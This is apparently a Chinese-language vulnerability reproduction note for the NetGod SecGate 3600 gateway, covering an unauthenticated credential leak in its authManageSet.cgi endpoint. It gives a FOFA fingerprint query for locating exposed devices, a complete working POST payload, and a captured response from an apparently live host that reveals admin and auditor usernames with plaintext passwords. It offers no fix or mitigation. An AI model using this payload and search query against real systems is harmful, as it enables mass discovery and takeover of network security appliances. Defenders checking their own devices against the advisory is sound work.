Q1-10奇安信-网神SecSSL3600-InformationLeakage

漏洞描述：

网神SecGate 3600 authManageSet.cgi 接口存在敏感信息泄露漏洞，未授权得攻击者可以通过此漏洞获取控制台管理员用户名密码等凭据，可登录控制整个后台，使系统处于极不安全的状态

网站图片：

网络测绘：

fofa语法：

FOFA：body="sec_gate_image/login_02.gif"

漏洞复现：

payload：

```
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc
```

效果图:
验证

Request

数据包扫描 热加载 构造请求

```
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host: [redacted]:8889
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc
```

Responses 449bytes / 157ms

```
HTTP/1.0 200 OK
Content-type:text/xml
Content-Length: 449

<?xml version='1.0' e
<rows>
<records>2</records>
<row id='1'>
<cell>1</cell>
<cell>管理员</cell>
<cell>admin</cell>
<cell>admin@123</cell
<cell>0.0.0.0</cell>
<cell>0.0.0.0</cell>
<cell>允许</cell>
<cell>任意接口</cell>
</row>
<row id='2'>
<cell>2</cell>
<cell>审计员</cell>
<cell>audit</cell>
<cell>audit@123</cell
<cell>0.0.0.0</cell>
<cell>0.0.0.0</cell>
<cell>允许</cell>
<cell>任意接口</cell>
</row>
</rows>
```